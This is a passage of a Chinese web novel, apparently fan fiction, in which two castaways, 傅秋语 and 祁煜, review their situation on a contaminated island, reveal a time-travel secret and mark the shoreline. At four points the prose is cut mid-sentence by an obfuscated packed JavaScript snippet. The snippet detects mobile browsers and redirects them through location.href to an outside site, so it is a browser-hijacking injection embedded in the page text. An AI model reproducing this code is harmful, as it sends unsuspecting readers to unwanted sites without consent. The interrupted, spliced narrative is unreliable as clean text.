而傅秋语虽然柔弱，但无论思维方式还是行事风格，都成熟很多，也刚强许多。 傅秋语：“之前我精神状态不好，没法和你聊天。现在我们都有空，聊聊吧。” 祁煜：“我也觉得我们需要聊聊。” 傅秋语：“你对我们的处境怎么看？” 祁煜：“可能是我多想了……但我还是觉得这一切，就像一场做好的局，而我们是猎物。” 傅秋语：“赞同。” “……”祁煜笑了下，转头看她，“我忽然发现一件事。” 傅秋语：“什么？” 祁煜若有所思地揣摩着她的神情，“你在对一件事发表态度之前，会优先询问我的意见。我可以认为，我的意见对你很重要吗？” “……” 傅秋语愣住。 她不知道该怎么回答。 祁煜：“我开玩笑的。其实这是你的习惯吧？别人不问你，你绝对不会先说自己的想法。并且在发表自己的意见之前，你还会先问其他人的意见，确保自己接下来的发言没有漏洞。” “这是一种很好的社交自保手段。” 傅秋语的眼神先是有些躲闪，然后她抬起眼眸，静静地注视他，等待他的下文。 在她认真的注视下，祁煜忽然觉得有点不好意思。 他抓了抓头发，说：“但怎么说呢……我的水平也就这样，你也都看到了。我实在是没有什么高深的见解需要你揣摩，反而是我很需要你的分析判断能力。” “你比我更善于解决现实问题，我才是需要指导的那个。以后你有什么想法，有什么计划，想要我做什么，都可以直接和我说，不必先问我。” 他冲她笑了笑：“既然你都说了我们是伙伴，那就别那么见外。” 20. 020 傅秋语看着他不说话，仿佛在确认着什么。 这个过分谨慎的女人，如果无法确认别人的诚意，就绝不会交付任何一点信任。 明明在昨天，祁煜发现这一点时，他心中还隐隐有一些微妙的不快。 他就想看看她的信任到底能有多珍贵，能换他的多少诚意，她又能做到什么程度。 现在他知道了。 傅秋语的信任，比这世上的任何宝物都珍贵。 如果只要他付出诚意就可交换她的信任，那他算是捡了大便宜。 面对她探究的目光，祁煜弯起眉眼，坦然地笑着，任她打量。 于是傅秋语的神情逐渐变得复杂，祁煜也不知道她在想什么，只觉得她的眼底似乎有哀伤一闪而过，但她很快就调整好情绪。 傅秋语点头：“好，既然你都这么说了，我就不和你客气了。” 祁煜笑着点头。 其实他很好奇傅秋语刚刚在想什么，为什么在一瞬间露出那么落寞的表情…… 他也很好奇她的过去。 明明是这么可靠、优秀的人，却似乎认为自己是失败者，甚至想丧身大海…… 傅秋语放下已经完成的简易护具，从自己的工装口袋里掏出纸笔。 纸是她撕的荒野求生指南的空白页，笔是救援箱里的。 也不知道负责置办物资的人是出于什么思想，认为一个被困荒岛的人需要笔，但这样的确方便了傅秋语。 她终于不用拿个石头在地上戳来戳去了。 或许是常年和各种公式打交道的原因，傅秋语有一种不打草稿就不会整理思路的毛病。 她平时的工作就是排除隐患，给出解决方案。复盘全局、寻找问题是她的习惯，让她得出一个结论，往往需要大量论证。 所以祁煜可以十分潇洒地给一个结论，但她不行，她会在脑子里盘很多事。 她在纸上画出一个方框，里面写上“相遇”二字。 傅秋语：“我们从头开始复盘，互相补充对方不知道的细节，寻找其中的线索。” “俞启……小俞，我还是这么叫你吧。我之前就问过你一次了，但你没有回答我，现在我再问你一次——你是怎么漂到这个海岛上的？” 这个“小俞”叫得祁煜心头一跳，还以为在叫他“小鱼”。 雨丘就喜欢这么叫他。 他反复确认傅秋语的神情，但失望地发现她目光坦然，没有任何异常。 祁煜面不改色地说瞎话：“……啊，因为我不想活了，所以跳海了。就和你一样，我没死成，被海流卷到这个地方。” 傅秋语：“你运气还挺好，跳海了人没事，手机也没废。” 祁煜：“是啊，你也一样。人没事，药也还在。” 傅秋语：“你在来到这个海岛后，过了多久发现我的？” 这可把祁煜给问住了。 首先人不是他救的，是他的虾兵蟹将。 其次他来之后没过多久她就醒了，也就十来分钟的样子，这明显不是一个正常可以说出来的时间。 但是这根本难不倒身经百战的海神大人。 他叹了口气，目光忧伤：“半天吧。” “我从海滩上醒来后，发现自己没死成，就坐在海边，失落地看太阳沉入大海。在银月升起时，我心想着还是再去死一死好了。没想到大海中又漂来一个你……” 他的戏实在太多了，傅秋语低头掩饰自己抽搐的嘴角。 祁煜：“对了，我一直有个疑问。”他很困惑地说：“我从没说过你是我救的，但你为什么从开始就很笃定，是我捞你上来的呢？有没有一种可能就是，你是被海浪冲上来的呢？” 傅秋语愣了一下，“……原来不是你吗？” “我也很难描述……只记得……我在海里时，有人一直托着我的身体，不让我沉下去。那种感觉很真实，不像我的错觉。” 她太阳穴突突地跳：“那个人，还一直在我耳边说话……但是我不记得说的什么了……好像是……” 她的头又开始疼了，她按住太阳穴：“是……” “打住打住！别想了！”祁煜连忙阻止她：“我们跳过这个话题，回到我们的主题吧！” 傅秋语艰难地点头，说：“好……” 祁煜：“刚刚说到哪儿了？……哦，说到你被海浪冲上来。后来我马上拨打了救援电话。从发现你到你醒过来，也就过去十多分钟的样子。” 傅秋语吐槽：“你人还怪好 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14368136|153048||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的嘞，自己来这儿过了半天都没打救援电话，我一来就打。” 祁煜：“那必须的。” 两个各有心思的人对视一眼，然后若无其事移开视线。 傅秋语：“我醒来没过一会儿，海水就变异了。我想，时间不超过五分钟。” 祁煜：“你好像对时间很执着的样子，这对分析我们的处境很重要吗？” 傅秋语：“这代表这场异变可能和我有相当程度的关联。我从不相信巧合。” 祁煜：“其实我这儿也有一个关于时间的情报要告诉你。” 傅秋语：“什么？” 祁煜：“你穿越了。” 傅秋语手猛地一抖，在稿纸上划出一道深深的痕迹。 她的神情在三秒之内变幻了数次，最后又归于平静。 一看到她这个反应，祁煜还有什么不清楚的。 祁煜惊讶地问：“你已经知道了？什么时候？” 傅秋语：“……救援队的信件，最后一行写了时间。” 祁煜敏锐地察觉到哪里不对，但具体哪里不对，他又说不上来。 不过救援队的信件上的确写了时间…… 祁煜没有细想，他说：“好巧，我也是发现你的退烧药上的时间不对，才向你确认。抱歉，当时骗你，说我在海里撞到东西失忆了。我……只是很震惊。” 傅秋语：“……” 祁煜：“我向你打听一个人，你可能不认识，毕竟你从二十四年前穿越而来，在你的时间里，她还没有出生……但我还是想问——” “你对‘雨丘’这个名字，有印象吗？” “……” 傅秋语的神情平静地可怕。 平静到，像是套上了一层僵硬的面具。 “不认识。” 傅秋语说。 她的声音毫无起伏，就像在讨论一个全然陌生的东西，她皱了下眉：“这是个人名吗？……怎么这么像我的名字顺序颠倒？” 即使早就知道她的答案，祁煜还是难免失落。 “……这样……”他垂下眼眸，“也是。” 从初号机到一代机，也是需要过程的。傅秋语只是搞科研的，又不是算命的，她哪能知道未来的事。 21. 021 傅秋语又在纸上画一个框，里面写着“异变出现”，然后用箭头连接前面那个框。 祁煜这才发现原来她是在画流程图。 傅秋语：“异变并不是忽然大范围出现的，它有个非常短暂的……”她仔细回想当时的场面，组织语言：“同化？感染？污染？总之是有一个向外扩散的过程。既然是扩散，那理论上就应该有个起始点，以它为圆心向外急速扩散……” 傅秋语：“我有个猜想，但需要实证。” 祁煜：“什么？” 傅秋语：“扩散仍然在继续，只是速度变慢了。” 祁煜：“就像宇宙大爆炸那样？……如果这是真的，这个岛迟早也会被……” 傅秋语：“……只是猜想而已。我们今天去东海岸做一个标记点，明天再去看。” 她头疼地揉了下眉心：“我只希望这个猜想不要被验证。” 祁煜逐渐理解了她的思维模式，看到她画下第三个框，他抢答：“该到我被玛丽苏物质石化，你来救我这段了吧？” 傅秋语：“不错。由此可见，这种异变不但可以感染物质，也可以感染生物。我在海岸边看到了许多被冲上来的死鱼，也就是说，这种同化对所有生物都一视同仁，我除外。” “你觉得，你和海水、鱼类、树木的共同点是什么？而你们和我的不同点是什么？” “……”祁煜摸着下巴思考了一会儿，问：“就不能因为你是天选之人吗？” 傅秋语：“……” 她面无表情地看他。仿佛什么都说了，又仿佛什么都没说。 祁煜立刻投降：“好好好，我认真回答。” 祁煜也被难住了：“因为你的时间不对？我们都是属于这个时间的物质和生物，但你属于24年前？” 但……总觉得很牵强。 傅秋语目光微定。她已经想到答案了，但这不是可以说出来的东西。 正如祁煜需要隐瞒一些事情一样，她也有必须隐瞒的事情。 傅秋语平静地把问题写下来，说道：“想不明白，就暂且搁置。我们继续往下推进。” 说着，她在纸上画下第四个框。 祁煜已经渐入佳境：“接着就是我们在礁石区了。” 傅秋语：“十五分钟的时间，可以让原本不严重的感染部位恢复行动，但感染没有消失，它仍然在继续。并且感染严重的部位，并不会随着时间推移恢复感知，它会一直石化下去……我有一个猜想。” 祁煜：“你的猜想都蛮惊悚的。” 傅秋语：“小花生性格各异，有没有一种可能就是……它们在变成那样之前，是个人呢？” 祁煜：“果然很惊悚！” 他是完全明白了，与其说傅秋语是以时间为基础的线性复盘，不如说是以时间为线性顺序的信息集成，再以此为基础提出假说。 这种纵横交叉、发散性极强、跨越度极大的思维模式，换个脑筋不灵光的得直接死机。 祁煜：“那么，你的论据是什么？” 话一出口，祁煜就觉得自己变了。 他再也不是充满艺术灵性的鱼了！一张嘴都是属于傅秋语的逻辑世界的人工智能味儿！ 这对于艺术创作可是大忌啊！ 傅秋语：“直觉。” 祁煜：“？” 他感觉自己可能耳朵出问题了，秉着科学严谨的精神，他又问了一遍：“什么？” 傅秋语认真而大声地说：“直觉！” 祁煜：“？？” 他不可置信地说：“我谈直觉的时候你和我盘逻辑，我谈逻辑的时候你和我讲直觉，有你这么玩的吗？” “你说小花生可能本来是人，理由在那里？证据在哪里？论证方式在哪里？” 傅秋语无辜道：“都说了是直觉了，怎么可能有这些啊？我又不知道这玩意到底是从哪里蹦出来的，连他们组织名号都不知道，而且我们也没能抓住一只用来研究。” “非要论证的话，我只能说我在志怪小说里见过类似的生物——纸人！你看那能动能跳能说话的，背后定有高人！” 祁煜：“越说越离谱了，你不是科研人员吗？说好科研人员都是唯物主义战士呢？” 傅秋语：“没人说好啊？而且我早就辞职了，我现在是三流小说作家。” 她语重心长道：“思维不要这么古板，要开放，要发散，要有想象力，不然很不利于艺术创作的。” 祁煜：“？？？” 他，被猎人小姐初号机，指导艺术创作？ ？？？？？ 祁煜给气笑了：“好好好，你有想象力。那你倒是和我说，你到底为什么觉得小花生是人？” 傅秋语：“原因很简单——人外没这么阴险。……干嘛瞪我？我认真的。” 祁煜满脸怀疑：“这不像你会说出来的理由。” 傅秋语嘴角抽了抽：“……看来你对我误解很深，我有必要解释一下。” “首先，直觉并不代表不科学，我从未否认过直觉，只是说这从分析角度没什么价值。有一种假说是，直觉是你的脑神经在高速处理信息之后直接给你的结论。” “其次，科学研究并不总是顺利，总有逻辑解决不了、也想不明白的问题。这时候创造力与想象力往往会成为破局的关键。所以科研往往是以理论为魂魄，实践为骨肉，再辅以想象的翅膀。” “最后……我再重复一遍，我已经辞掉研究员的工作，我现在是小说作家！虽然很菜，但也是小说作家！我现在不研究科学，我研究人性！” “据我观察，小花生的行事作风充满了人类的狡诈阴险，而且和我们交流毫无障碍，性格各异，智商极高。” “我现在没有证据来证明这个论点，因为我没有见过一个人完全被玛丽苏物质同化后的样子。我们被困在这个地方，也很难进行实验。” 她这巴拉巴拉一顿输出，祁煜相信她真的已经转行写小说了。 一般研究员没她这么会说。 他才说了一句，她噼里啪啦说了一大堆，条理分明思维清晰，猎人小姐嘴皮子要有她一半利索，他都不至于生那么多闷气。 祁煜已经快投降习惯了，他说：“好好好，我已经完全理解了。这一段应该没什么线索能展开的了，我们进行下一段吧。” “可以。” 第五个方框里写着“海岸边修整”。 傅秋语：“在这个时间里，我发现自己可以吸收玛丽苏物质，并且帮你恢复了行动。” 祁煜斟酌了一下，然后说：“我这儿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14368137|153048||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 倒是有个你一定不知道的情报。” “我一定不知道？”傅秋语感兴趣地抬眼看他。 光线将她微褐的眼瞳和雪白的皮肤照得透亮。因为感兴趣，她不再是一副死眉搭眼的样子，她扬起眉宇，花瓣唇微翘。 抛开真实性格不谈，抛开真实家境不谈，抛开真实职业不谈，傅秋语长得真就一副富家千金的样子，矜贵娇气。 她的五官其实并不怎么精致，但是脸型精巧，比例得当，很端正，线条锐利的桃花眼和花瓣唇，又自带一种敏感聪明的气质。 底子好，微胖在她身上叫珠圆玉润，褒义上的。 别说，她长得就挺像珍珠，一遇光就反光的。 正常人类长成她这样，已经算好看了，而且她在海岛上没条件化妆，全程素颜，化妆后应该更好看。 他保守估计，追过傅秋语的人应该在两位数。 祁煜脑子里乱七八糟地想着这些不着边际的东西，嘴上倒是不耽误。 他说：“在你吸收完我身上的玛丽苏物质晕过去之后，再到你醒过来之前，期间发生了什么，你还记得吗？” “……？”傅秋语疑惑地歪了下脑袋。 为什么他说的每个字拆开她都能听懂，合起来就听不懂了呢？ 傅秋语：“……还能发生什么？总不能我梦游了吧？” 祁煜：“答对了，我们是真正意义上的‘梦中游’了……看来你真的不记得，那就我来说吧。” “在我们双双昏迷之后，我来到了一个异能量空间中。那里的能量，能令人感知到情绪。” 傅秋语：“？？？” 祁煜：“……忘记你是穿越的了。二十四年前还没有深空隧道，没有异能量空间，你应该不知道我在说什么。没关系，我来和你说这些年发生的事……” 傅秋语没想到他这不讲武德的搞突然袭击，目露惊恐，战术后撤：“卧槽！我不要听啊！” 祁煜：“？” 他不理解她怎么忽然这么大反应，简直就像在医院闹着不肯打针的孩子一样。 傅秋语脑袋嗡嗡的，她忽地站起来，对他说：“我要冷静一下。” 说完她就要走，祁煜直觉她是想跳过这个话题。 这很不合理，一个在任何情况下都会冷静地分析处境的人，忽然情绪激动地表示不想知道穿越后的世界是什么样子？ “等一下！” 他不想让她逃开，身残志坚地追上去拉住她。 但是他情急之下把傅秋语当做一身牛劲使不完的猎人小姐了，用力之大，傅秋语直接整个被拽过来，撞到他怀里。 要论平时，他稳一下也就稳住了，奈何他今天脚扭了。 他一个没稳住，被傅秋语撞倒。 傅秋语反应倒是快，她条件反射地想拉他，但还是那句话，她毕竟不是一身牛劲使不完的猎人，下一秒她被带着一起栽倒。 于是祁煜垫在下面，傅秋语撑在上面，两人水灵灵地完成了一个标准的地咚。 这情节，真是狗血恶俗中的典中典，傅秋语只愣了一下，随后在心里骂开了花。 反应过来的两人，尴尬的目光在空中交汇。 她眼尖地发现，对方耳朵悄悄红了。 傅秋语，当场汗流浃背。 22. 022 她连滚带爬地起来，叉腰站在一边，用手遮着阳光若无其事地眺望湖面，假装自己在看风景。 “哎呀，你看……今天真热，太阳真大，都把人晒晕了……我去洗把脸！” 这货跑得和过年的猪一样快，一下就窜出去了。 祁煜眼看抓不住她，又不想让她逃避话题，起了一半的身子立刻倒了回去，大呼：“哎哟，我的脚好痛！” 这荒郊野岭的，这台词，这姿势，莫名有种聊斋里的美艳妖怪勾引穷书生的既视感。 傅秋语硬生生刹住了步子。 她背对着他，疯狂挠头，看起来真的很想跑。 祁煜：“快来帮我看一下，我是不是扭伤更严重了。” 傅秋语定了定神。真女人就要视美色如浮云！ 她一咬牙一跺脚—— 乖乖地走了回去。 她绷着唇角，臭着脸，袖子撸了一半，正要看看祁煜的扭伤到底情况如何，祁煜的铁砂掌一把抓住了她的手腕。 祁煜冲她wink了一下：“骗你的，我主要是想抓你。” 傅秋语：“……我就知道！” 他把傅秋语拖到身边，脸凑到她跟前，那双漂亮的眼睛直接和她近距离对视，“老实交代，为什么逃避话题？” “你刚穿越就遇到了我，接着就被困住，你对现在的世界一无所知。了解世界的变化，对你百利而无一害，你为什么要跑？” 傅秋语别开脸，拒绝和他对视：“我没有跑。只是因为天气太热，想去洗脸而已。” 祁煜可不信她的扯淡，他大胆猜测:“难道……你在害怕？” 他尝试代入她的视角，“没有原因突然穿越，生活环境急速变化，被莫名其妙卷入阴谋，自己的亲友是否还在人间都不知道……你是在怕这些吗？” 傅秋语没有挣扎，但是也没有看他。她看着湖面，语气冰冷：“你对谁都喜欢这样动手动脚吗？……放手，你越界了，我很讨厌这样。” 这冷漠的，仿佛对待陌生人的态度，就像一根冰冷的刺，简直是不刺痛别人的心就不肯罢休。 这狠心的女人还真是翻脸无情。 祁煜笑了下，根本不放手。 祁煜：“你知道的，就算你不想面对，现实也不会改变。” 这一瞬间，他忽然福至心灵，想起昨晚她惊梦时的呓语。 ——再也见不到了。 再也见不到谁？ 他试探着问：“还是说……你有再也见不到的人了？所以害怕面对现实？” 明明之前说了那么多，她眉头都没皱一下。结果他只是提了这个人，甚至都不需要说名字，她就当场破防。 傅秋语眼眶微红：“说够了吗？”她忽然转过脸来，双眼直勾勾地和他对视:“说够了麻烦闭嘴。” 似是愠怒，似是悲伤，似是怨怼……她的目光成分太复杂，他可能也需要一点科学手段才能完全解析。 ……明明这女人连父母都不牵挂……可见这人在她的心里分量之重。 祁煜沉默了一下，问：“……他是你的恋人？” 傅秋语：“我没有恋人。她是我的朋友。” 祁煜：“只是朋友？……那你们感情很好。” 傅秋语：“十多年的老友了。” 祁煜：“她就是带你去海边散心的那个人？只是过去二十四年而已……这些年，世界的确遭遇了很多变故……但如果运气好，你们还能再见面。” 傅秋语摇头。 她的手放在祁煜的手上，他本以为她是要挣脱他的束缚，却没想到她只是把手盖在他手背上，仿佛试图在他这边汲取力量。 “……再也见不到了。” 是的，在她认出俞启就是祁煜时，她就知道过去的一切已经彻底离她远去。 她恨的固然再也不用相见，可是她爱的，也再也见不到了。 不想承认，不想面对，即使祁煜已经报出了她的游戏ID，她还是想逃避现实。 可是……正如他所言。 现实如此，无论她再怎么不想接受，也不会改变。 傅秋语感情内敛，即使是被戳中了心思，让她真情流露，也看不到她的一滴眼泪。 她甚至没有什么表情。 可是，祁煜仍能够感受到，压抑在她内心，如大海般深沉汹涌的情绪。 祁煜想安慰她，可面对心思复杂的初号机，他不确定自己的安慰是否会起反作用。 想了半天，祁煜另一只手也盖在她手上，然后把她的两只手都握在手心，温柔地说：“……不难过了，等我们从这里逃出去后，我陪你一起去找她。” 然后，他脸色一变，手掌收紧力道 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14368138|153048||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' :“现在，认真听我讲课，不许再跑了！” 傅秋语:“……” 我勒个传奇变脸大师，这货学过京剧吧？怎么这么会变脸？ 反正她是看出来了，祁煜这老小子绝对已经怀疑上她就是雨丘了。看他动手动脚的没有一点边界感，估计心里已经确认了七八分。 早知道有穿越这一天，她就不把脸捏得和自己这么像了。把脸捏成窝瓜精，看谁还能认得出她。 相认是不可能相认的，这辈子都不可能的，下辈子她不当傅秋语了还可以考虑一下。她必须想办法让他取消怀疑…… 这也不难，祁煜被时间迷惑，以为她是这个世界24年前的人，估计是以为她是猎人小姐再前面一个版本。 只要让他知道，猎人小姐是绝对的初版就行了。她再从各种细节处表现自己和雨丘是两种完全不同的人，雨丘是正义使者，她是24k纯初生。两相印证，到时候不怕他不动摇。 不过真奇怪，这个世界的主控是发生了什么状况吗？难道又寄了？不然祁煜就算看到了长得像的人，也不会怀疑她是旧版主控。 ……不过这个以后再问，现在她先解救一下自己的手。 傅秋语露出一个无辜的表情：“……鱼老师，你力气太大了，我手疼。” 祁煜不信她，但还是放松了力道。 傅秋语一见有机会，立刻把手抽走，被早有准备的他当场逮捕。 祁煜握住她两只爪子，得意地冲她歪嘴一笑：“就知道你想跑！罚你就这样听我讲完！” 傅秋语:“……” 补药啊！这个样子很羞耻诶！ 祁煜:“这二十多年间，世界发生了很多变故。最大的那件，当属十四年前深空隧道打开，流浪体降临一事……” 他拉着她，从深空隧道讲到裂空灾变，从猎人协会讲到能量芯核，从禁猎区讲到星球磁场。 傅秋语的眼神逐渐失去高光。道理她都懂，能不能放开她？ 而且这些她都知道，那些资料她都已经看过不知道多少遍了。 这货是把自己能想到的东西，都给她讲了一遍。 终于熬到他讲完，鱼老师问：“现在，你应该能理解，我说的我们昏迷后来到的异空间是什么东西了吧？” “那就是你吸收了玛丽苏物质后展开的异空间。” 23. 023 “明白，理解。” 傅秋语已经快没脾气了，她又试图把手抽走，但祁煜的手和用502黏在她手上似的，根本甩不掉。 她没好气地说：“科普结束，下课！鱼老师，你这样抓着我，我没法做记录。” 祁煜看向两人的手，松开：“……我主要是怕你跑掉。” 傅秋语：“你都已经击穿我的自欺欺人了，我还跑什么？” 做戏做全套，她还真把他刚刚说的总结成一些要点记录下来。 傅秋语：“异能力空间啊……我实在没有印象，我只记得我睡了一觉……两觉，醒来后身体好了大半。你在里面见到了什么？” 祁煜就简单地描述了一下空间里的情形。 傅秋语听完一头问号：“苦涩的能量？我还攥着一根羽毛？羽毛也有能量？” 妈呀，这是给她干哪儿来了？这里还是深空吗？ 要说能够令人感知到情绪的能量……有这种设定的游戏还真不少，但和深空血缘关系最近的应该就是无期迷途了吧？毕竟一个爹生的。 别说，这玛丽苏物质除了不会让人发狂之外，还真有点那味儿了。 那些在梦里呼唤她的声音，到底是小花生还是别的什么……？ 可以肯定的是，这个深空世界肯定是出了变故，而且和她穿越有关。 否则哪有这么巧，她刚穿越，世界就大范围出现异变。 至于到底是因为她穿越，世界才异变，还是因为世界异变了，她才会穿越……这她就不得而知了。 说到底，还是要抓住一个小花生，好好审讯。 总觉得它们一肚子古怪，说话莫名其妙，还老想要祁煜的命，就为了什么劳什子新世界计划。 祁煜：“我还是觉得你是天选之人。” 他掰着手指头数：“你看，你能吸收玛丽苏物质，还能解除小花生的强化buff，还能展开梦中空间，玛丽苏物质还能给你治病强化躯体。我已经完全理解了——” “你就是拯救世界的天命之人！” 傅秋语嘴角抽搐：“天命是不可能天命的，这辈子都不可能天命的，区区马喽还什么拯救世界，任何困难都能击垮我。” “有没有一种可能就是，我不是特例呢？” 祁煜：“想多了，你肯定是特例。” 他没见过第二个evol的是“共鸣”的人，也没见过第二个能吸收芯核能量的人。 他在想，傅秋语作为初号机，肯定和这个世界的本源关系相当密切。 从猎人小姐开始，往后的无数代，都在和芯核苦苦纠缠，她仿佛是受命而来，随着灾难诞生的一样。 或许是世界危机改变了，使命变化了，所以雨丘才会消失，初号机被召唤而来。 而初号机和一代机相比，肯定是有什么特别之处，是一代机不具备的。否则雨丘就没必要消失。 祁煜：“……你觉得小花生说的新世界，保真吗？” 傅秋语：“……我也不知道。” 是的，小花生说的那些话让她很在意。她总觉得它们好像知道她是穿越的，这就很可怕了。 傅秋语：“最重要的是，它们好像早就知道灾难会发生，还知道我们会出现在这个岛上，并且一直在等我们。” 祁煜：“没错。所以我才说这是一场阴谋。” 之后他们又按照时间往后继续盘，互相告知自己的想法，但也没盘出更多线索。 ——那个残月buff产生的原理是什么？ ——不知道。 ——小花生到底是怎么知道他们的，新世界到底是什么？ ——不知道。 ——傅秋语和玛丽苏物质有啥联系，玛丽苏物质到底是什么？ ——不知道。 ——异空间里的能量为什么能让人感知情绪，为什么傅秋语本人没有察觉？ ——不知道。 ——一直在她梦里喊她的声音到底是什么？ ——不知道。 两眼一抹黑，就是他们的现状了。 敌暗我明，他们掌握的情报还是太少。 好消息：经过一顿复盘，他们都对现状有了一个比较清晰的认知。 坏消息：复盘完发现新的困惑更多了。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14368139|153048||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 祁煜：“……我感觉复盘了个寂寞，这局简直是疑云密布。不过也算是给以后找了个调查方向吧。” 傅秋语看着写满了字迹的草稿，沉默了很久，然后说：“事已至此，先休息吧。” 祁煜：“？” 傅秋语：“……然后再想办法和救援队取得双向联系。” 祁煜：“有什么我能做的？” 傅秋语用笔敲了下他的头：“你现在的重点就是休息！至于我们接下来该怎么行动……等你休息好，我会告诉你的。” “啊……”祁煜感觉有点扫兴，“你其实已经有计划了吧？但就是不想告诉我。” 傅秋语：“你想多了，其实我就是没有计划，才让你先睡一觉。我好在这段时间里好好想想，到底该怎么规划。” 祁煜怀疑道：“真的吗？” 傅秋语目光真诚：“真的。” “那行。” 他的拐杖也削完了，手柄部分毛刺多，他就撕他们的旧衣做布条裹住。他杵着走了两圈，感觉挺合适。 然后他向傅秋语伸手：“走吧，那我就先陪你采蘑菇，然后去海岸做标记点，最后再回去睡觉。” 傅秋语：“这就不用了。你抓紧休息，这些我都可以自己完成。” 祁煜无辜道：“那不行，万一我被小花生偷袭了呢？我需要你的保护。” 傅秋语露出死鱼眼：“…………” 得，这老小子又装上了。 她可没本事保护他。 傅秋语无视他伸出的手，自己收拾收拾东西，目不斜视地绕过他，自己先走了。 小样，她才不牵。别以为她看不出来他这是想试探她的下意识动作！ 动不动就牵手，起身要牵，坐下要牵，走路要牵，他一伸手就牵，这是狗叠给主控的设定，也是为了增加游戏互动性，但这和她本人可没半毛钱关系。 她这种如雄鹰般的女人从不牵手，只有猎物才能触碰到她高贵的爪子。 是时候端上她的初生流演技了！她不做人啦！ 祁煜杵着拐追上她，控诉道：“你又不理我！” 24. 024 傅秋语在海岸边走了一圈。 东海岸比起他们之前的海岸地势要险峻一点，几乎没有沙滩，全是海礁。 放眼望去，绚丽到令人恶心的马赛克海浪凶猛地拍打礁石，不断地溅起水花。 她摇头道：“这地方，不是个很好的登陆点。如果他们之后想到办法进来，最好不要选这里。” 祁煜：“万一他们只能选这里呢？……我们看不到外面海域的污染状况，或许情况已经严重到不得不选择这里了。” 傅秋语：“也有可能。” 选好位置后，祁煜将标记插进礁石缝隙里。 祁煜：“希望你的猜测不要被验证。” 傅秋语：“谁说不是呢……假如污染真的在持续扩散，救援队就会离我们越来越远，救援行动会越来越困难。” 祁煜：“你害怕吗？” 傅秋语：“害怕？” 她眺望海的尽头，叹气，“现在谈害怕还太早了。先做自己能做的事，等最后发现怎么做都无能为力的时候再谈害怕吧。” 祁煜走到之前捡包的地方。很好认，因为树上还残留着树枝折断痕迹。他确认了方向，对她说：“看，救援队就在那个方向。” 傅秋语看向他指的方向，但入眼只有茫茫的马赛克海洋。 “看不到船体……真令人没有安全感。我回去研究一下那个救援箱上的装置，说不定可以和他们取得双向联系，这样也好方便我们互相协调行动。” 祁煜：“那玩意是用风推的。我会测风向，找时机的事，可以交给我。” 傅秋语：“行。” 办完事，他们回山洞休息。 祁煜是真的很累了，屁股一沾地倒头就睡，被傅秋语打起来。 她收集了一些阔叶和干草，就是为了铺床用的。这石头地咯死人了，坐着折磨，躺着更折磨，她是一秒钟都不想忍受了！ 干草垫在最下面，阔叶垫中间，救援队的毯子垫最上面。 他们换下的旧衣还没干，被她晾在洞外。它们还另有他用。 祁煜坐在床铺上还弹了一下，“虽然比不上家里的床，但也不错了。” 傅秋语在旁边铺自己的床，“条件也就这样，总比睡地好。” 祁煜一躺下，眼皮子就打架，但他就是不想睡。 傅秋语的床铺在山洞的另一个角落，他困倦地眯着眼睛，看傅秋语铺完床后把救援箱搬到床边，开始动手拆装置。 祁煜坚强地抵抗睡意，但声音已经迷糊起来了：“……你拆那个干嘛？” 傅秋语：“好奇，想知道它到底是怎么飞到岛上的。自然风不是鼓风机，又不总是直线吹，按理说偏差应该很大才对……难道是因为距离近？不像……” 她说着说着觉得不对劲，抬头看祁煜，发现他一脸困倦地看这里。 “你怎么还不睡？” 祁煜打了个呵欠：“……不放心。” “……” 傅秋语低头继续拆装置，“没什么好不放心的，我就在这里，那里也不去。时间到了，我会叫醒你的。” 她刚说完，就听到对面传来绵长的呼吸声。 傅秋语愣了下，抬头一看，祁煜已经光速睡着，他的脸半埋在毛毯里，睡得很香。 她失笑着摇了摇头，继续专心研究手中的装置。 * 祁煜是被香醒的。 意识清醒的第一时刻，他听到了篝火的噼啪声，还有汤水沸腾的声音。食物的清香飘满山洞，唤醒了他多日未曾好好吃饭的肠胃。 “你在做什么好吃的？” 他凑过去一看，发现傅秋语只是在做普通的野菇汤。 祁煜疑惑道：“为什么这么普通的汤，闻起来这么香？” 